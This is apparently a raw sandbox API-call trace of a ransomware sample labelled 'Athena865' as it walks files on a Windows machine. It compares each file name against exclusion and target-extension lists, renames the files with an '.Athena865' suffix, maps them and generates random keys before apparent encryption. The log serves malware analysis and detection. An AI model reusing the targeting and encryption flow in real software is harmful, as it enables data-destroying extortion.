(in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.526] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jnwdui.dll.mui", cAlternateFileName="")) returned 1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2=".") returned 1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="..") returned 1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="windows") returned -1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="bootmgr") returned 1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="temp") returned -1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="pagefile.sys") returned -1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="boot") returned 1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="ids.txt") returned 1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="ntuser.dat") returned -1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="perflogs") returned -1 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="MSBuild") returned -1 [0090.526] lstrlenW (lpString="jnwdui.dll.mui") returned 14 [0090.526] lstrcpyW (in: lpString1=0x241e896, lpString2="jnwdui.dll.mui" | out: lpString1="jnwdui.dll.mui") returned="jnwdui.dll.mui" [0090.526] lstrlenW (lpString="jnwdui.dll.mui") returned 14 [0090.526] lstrlenW (lpString="Athena865") returned 9 [0090.526] lstrcmpiW (lpString1="i.dll.mui", lpString2="Athena865") returned 1 [0090.526] lstrlenW (lpString=".dll") returned 4 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2=".dll") returned 1 [0090.526] lstrlenW (lpString=".lnk") returned 4 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2=".lnk") returned 1 [0090.526] lstrlenW (lpString=".ini") returned 4 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2=".ini") returned 1 [0090.526] lstrlenW (lpString=".sys") returned 4 [0090.526] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2=".sys") returned 1 [0090.526] lstrlenW (lpString="jnwdui.dll.mui") returned 14 [0090.526] lstrlenW (lpString="bak") returned 3 [0090.527] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.527] lstrlenW (lpString="ba_") returned 3 [0090.527] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.527] lstrlenW (lpString="dbb") returned 3 [0090.527] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.527] lstrlenW (lpString="vmdk") returned 4 [0090.527] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.527] lstrlenW (lpString="rar") returned 3 [0090.527] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.527] lstrlenW (lpString="zip") returned 3 [0090.527] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.527] lstrlenW (lpString="tgz") returned 3 [0090.527] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.527] lstrlenW (lpString="vbox") returned 4 [0090.527] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.527] lstrlenW (lpString="vdi") returned 3 [0090.527] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.527] lstrlenW (lpString="vhd") returned 3 [0090.527] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.527] lstrlenW (lpString="vhdx") returned 4 [0090.527] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.527] lstrlenW (lpString="avhd") returned 4 [0090.527] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.527] lstrlenW (lpString="db") returned 2 [0090.527] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.527] lstrlenW (lpString="db2") returned 3 [0090.527] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.527] lstrlenW (lpString="db3") returned 3 [0090.527] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.528] lstrlenW (lpString="dbf") returned 3 [0090.528] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.528] lstrlenW (lpString="mdf") returned 3 [0090.528] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.528] lstrlenW (lpString="mdb") returned 3 [0090.528] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.528] lstrlenW (lpString="sql") returned 3 [0090.528] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.528] lstrlenW (lpString="sqlite") returned 6 [0090.528] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0090.528] lstrlenW (lpString="sqlite3") returned 7 [0090.528] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0090.528] lstrlenW (lpString="sqlitedb") returned 8 [0090.528] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0090.528] lstrlenW (lpString="xml") returned 3 [0090.528] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.528] lstrlenW (lpString="$er") returned 3 [0090.528] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.528] lstrlenW (lpString="4dd") returned 3 [0090.528] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.528] lstrlenW (lpString="4dl") returned 3 [0090.528] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.528] lstrlenW (lpString="^^^") returned 3 [0090.528] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.528] lstrlenW (lpString="abs") returned 3 [0090.528] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.528] lstrlenW (lpString="abx") returned 3 [0090.528] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.528] lstrlenW (lpString="accdb") returned 5 [0090.528] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0090.529] lstrlenW (lpString="accdc") returned 5 [0090.529] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0090.529] lstrlenW (lpString="accde") returned 5 [0090.529] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0090.529] lstrlenW (lpString="accdr") returned 5 [0090.529] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0090.529] lstrlenW (lpString="accdt") returned 5 [0090.529] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0090.529] lstrlenW (lpString="accdw") returned 5 [0090.529] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0090.529] lstrlenW (lpString="accft") returned 5 [0090.529] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0090.529] lstrlenW (lpString="adb") returned 3 [0090.529] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.529] lstrlenW (lpString="adb") returned 3 [0090.529] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.529] lstrlenW (lpString="ade") returned 3 [0090.529] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.529] lstrlenW (lpString="adf") returned 3 [0090.529] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.529] lstrlenW (lpString="adn") returned 3 [0090.529] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.529] lstrlenW (lpString="adp") returned 3 [0090.529] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.529] lstrlenW (lpString="alf") returned 3 [0090.529] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.529] lstrlenW (lpString="ask") returned 3 [0090.529] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.530] lstrlenW (lpString="btr") returned 3 [0090.530] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.530] lstrlenW (lpString="cat") returned 3 [0090.530] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.530] lstrlenW (lpString="cdb") returned 3 [0090.530] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.530] lstrlenW (lpString="ckp") returned 3 [0090.530] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.530] lstrlenW (lpString="cma") returned 3 [0090.530] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.530] lstrlenW (lpString="cpd") returned 3 [0090.530] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.530] lstrlenW (lpString="dacpac") returned 6 [0090.530] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0090.530] lstrlenW (lpString="dad") returned 3 [0090.530] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.530] lstrlenW (lpString="dadiagrams") returned 10 [0090.530] lstrcmpiW (lpString1="ui.dll.mui", lpString2="dadiagrams") returned 1 [0090.530] lstrlenW (lpString="daschema") returned 8 [0090.530] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0090.530] lstrlenW (lpString="db-journal") returned 10 [0090.530] lstrcmpiW (lpString1="ui.dll.mui", lpString2="db-journal") returned 1 [0090.530] lstrlenW (lpString="db-shm") returned 6 [0090.530] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0090.530] lstrlenW (lpString="db-wal") returned 6 [0090.530] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0090.530] lstrlenW (lpString="dbc") returned 3 [0090.530] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.530] lstrlenW (lpString="dbs") returned 3 [0090.530] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.530] lstrlenW (lpString="dbt") returned 3 [0090.531] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.531] lstrlenW (lpString="dbv") returned 3 [0090.531] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.531] lstrlenW (lpString="dbx") returned 3 [0090.531] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.531] lstrlenW (lpString="dcb") returned 3 [0090.531] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.531] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui.Athena865") returned 63 [0090.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwdui.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\jnwdui.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.534] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\jnwdui.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.534] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5632) returned 1 [0090.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.535] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.535] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.535] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.536] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1900, lpName=0x0) returned 0x154 [0090.537] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1900) returned 0x100000 [0090.538] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.539] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.540] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.540] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.540] CloseHandle (hObject=0x154) returned 1 [0090.540] CloseHandle (hObject=0x17c) returned 1 [0090.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.541] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jnwmon.dll.mui", cAlternateFileName="")) returned 1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2=".") returned 1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="..") returned 1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="windows") returned -1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="bootmgr") returned 1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="temp") returned -1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="pagefile.sys") returned -1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="boot") returned 1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="ids.txt") returned 1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="ntuser.dat") returned -1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="perflogs") returned -1 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="MSBuild") returned -1 [0090.541] lstrlenW (lpString="jnwmon.dll.mui") returned 14 [0090.541] lstrcpyW (in: lpString1=0x241e896, lpString2="jnwmon.dll.mui" | out: lpString1="jnwmon.dll.mui") returned="jnwmon.dll.mui" [0090.541] lstrlenW (lpString="jnwmon.dll.mui") returned 14 [0090.541] lstrlenW (lpString="Athena865") returned 9 [0090.541] lstrcmpiW (lpString1="n.dll.mui", lpString2="Athena865") returned 1 [0090.541] lstrlenW (lpString=".dll") returned 4 [0090.541] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2=".dll") returned 1 [0090.541] lstrlenW (lpString=".lnk") returned 4 [0090.542] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2=".lnk") returned 1 [0090.542] lstrlenW (lpString=".ini") returned 4 [0090.542] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2=".ini") returned 1 [0090.542] lstrlenW (lpString=".sys") returned 4 [0090.542] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2=".sys") returned 1 [0090.542] lstrlenW (lpString="jnwmon.dll.mui") returned 14 [0090.542] lstrlenW (lpString="bak") returned 3 [0090.542] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.542] lstrlenW (lpString="ba_") returned 3 [0090.542] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.542] lstrlenW (lpString="dbb") returned 3 [0090.542] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.542] lstrlenW (lpString="vmdk") returned 4 [0090.542] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.542] lstrlenW (lpString="rar") returned 3 [0090.542] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.542] lstrlenW (lpString="zip") returned 3 [0090.542] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.542] lstrlenW (lpString="tgz") returned 3 [0090.542] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.542] lstrlenW (lpString="vbox") returned 4 [0090.542] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.542] lstrlenW (lpString="vdi") returned 3 [0090.542] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.542] lstrlenW (lpString="vhd") returned 3 [0090.542] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.542] lstrlenW (lpString="vhdx") returned 4 [0090.542] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.542] lstrlenW (lpString="avhd") returned 4 [0090.543] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.543] lstrlenW (lpString="db") returned 2 [0090.543] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.543] lstrlenW (lpString="db2") returned 3 [0090.543] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.543] lstrlenW (lpString="db3") returned 3 [0090.543] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.543] lstrlenW (lpString="dbf") returned 3 [0090.543] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.543] lstrlenW (lpString="mdf") returned 3 [0090.543] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.543] lstrlenW (lpString="mdb") returned 3 [0090.543] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.543] lstrlenW (lpString="sql") returned 3 [0090.543] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.543] lstrlenW (lpString="sqlite") returned 6 [0090.543] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0090.543] lstrlenW (lpString="sqlite3") returned 7 [0090.543] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0090.543] lstrlenW (lpString="sqlitedb") returned 8 [0090.543] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0090.543] lstrlenW (lpString="xml") returned 3 [0090.543] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.543] lstrlenW (lpString="$er") returned 3 [0090.543] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.543] lstrlenW (lpString="4dd") returned 3 [0090.543] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.543] lstrlenW (lpString="4dl") returned 3 [0090.543] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.543] lstrlenW (lpString="^^^") returned 3 [0090.543] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.544] lstrlenW (lpString="abs") returned 3 [0090.544] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.544] lstrlenW (lpString="abx") returned 3 [0090.544] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.544] lstrlenW (lpString="accdb") returned 5 [0090.544] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0090.544] lstrlenW (lpString="accdc") returned 5 [0090.544] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0090.544] lstrlenW (lpString="accde") returned 5 [0090.544] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0090.544] lstrlenW (lpString="accdr") returned 5 [0090.544] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0090.544] lstrlenW (lpString="accdt") returned 5 [0090.544] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0090.544] lstrlenW (lpString="accdw") returned 5 [0090.544] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0090.544] lstrlenW (lpString="accft") returned 5 [0090.544] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0090.544] lstrlenW (lpString="adb") returned 3 [0090.544] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.544] lstrlenW (lpString="adb") returned 3 [0090.544] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.544] lstrlenW (lpString="ade") returned 3 [0090.544] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.544] lstrlenW (lpString="adf") returned 3 [0090.544] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.544] lstrlenW (lpString="adn") returned 3 [0090.544] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.544] lstrlenW (lpString="adp") returned 3 [0090.545] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.545] lstrlenW (lpString="alf") returned 3 [0090.545] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.545] lstrlenW (lpString="ask") returned 3 [0090.545] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.545] lstrlenW (lpString="btr") returned 3 [0090.545] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.545] lstrlenW (lpString="cat") returned 3 [0090.545] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.545] lstrlenW (lpString="cdb") returned 3 [0090.545] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.545] lstrlenW (lpString="ckp") returned 3 [0090.545] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.545] lstrlenW (lpString="cma") returned 3 [0090.545] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.545] lstrlenW (lpString="cpd") returned 3 [0090.545] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.545] lstrlenW (lpString="dacpac") returned 6 [0090.545] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0090.545] lstrlenW (lpString="dad") returned 3 [0090.545] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.545] lstrlenW (lpString="dadiagrams") returned 10 [0090.545] lstrcmpiW (lpString1="on.dll.mui", lpString2="dadiagrams") returned 1 [0090.545] lstrlenW (lpString="daschema") returned 8 [0090.545] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0090.545] lstrlenW (lpString="db-journal") returned 10 [0090.545] lstrcmpiW (lpString1="on.dll.mui", lpString2="db-journal") returned 1 [0090.545] lstrlenW (lpString="db-shm") returned 6 [0090.545] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0090.545] lstrlenW (lpString="db-wal") returned 6 [0090.546] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0090.546] lstrlenW (lpString="dbc") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.546] lstrlenW (lpString="dbs") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.546] lstrlenW (lpString="dbt") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.546] lstrlenW (lpString="dbv") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.546] lstrlenW (lpString="dbx") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.546] lstrlenW (lpString="dcb") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.546] lstrlenW (lpString="dct") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0090.546] lstrlenW (lpString="dcx") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0090.546] lstrlenW (lpString="ddl") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0090.546] lstrlenW (lpString="dlis") returned 4 [0090.546] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0090.546] lstrlenW (lpString="dp1") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0090.546] lstrlenW (lpString="dqy") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0090.546] lstrlenW (lpString="dsk") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0090.546] lstrlenW (lpString="dsn") returned 3 [0090.546] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0090.546] lstrlenW (lpString="dtsx") returned 4 [0090.547] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0090.547] lstrlenW (lpString="dxl") returned 3 [0090.547] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0090.547] lstrlenW (lpString="eco") returned 3 [0090.547] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0090.547] lstrlenW (lpString="ecx") returned 3 [0090.547] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0090.547] lstrlenW (lpString="edb") returned 3 [0090.547] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0090.547] lstrlenW (lpString="epim") returned 4 [0090.547] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0090.547] lstrlenW (lpString="fcd") returned 3 [0090.547] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0090.547] lstrlenW (lpString="fdb") returned 3 [0090.547] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0090.547] lstrlenW (lpString="fic") returned 3 [0090.547] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0090.547] lstrlenW (lpString="flexolibrary") returned 12 [0090.547] lstrcmpiW (lpString1="wmon.dll.mui", lpString2="flexolibrary") returned 1 [0090.547] lstrlenW (lpString="fm5") returned 3 [0090.547] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0090.547] lstrlenW (lpString="fmp") returned 3 [0090.547] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0090.547] lstrlenW (lpString="fmp12") returned 5 [0090.547] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0090.547] lstrlenW (lpString="fmpsl") returned 5 [0090.547] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0090.547] lstrlenW (lpString="fol") returned 3 [0090.547] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0090.547] lstrlenW (lpString="fp3") returned 3 [0090.548] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0090.548] lstrlenW (lpString="fp4") returned 3 [0090.548] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0090.548] lstrlenW (lpString="fp5") returned 3 [0090.548] 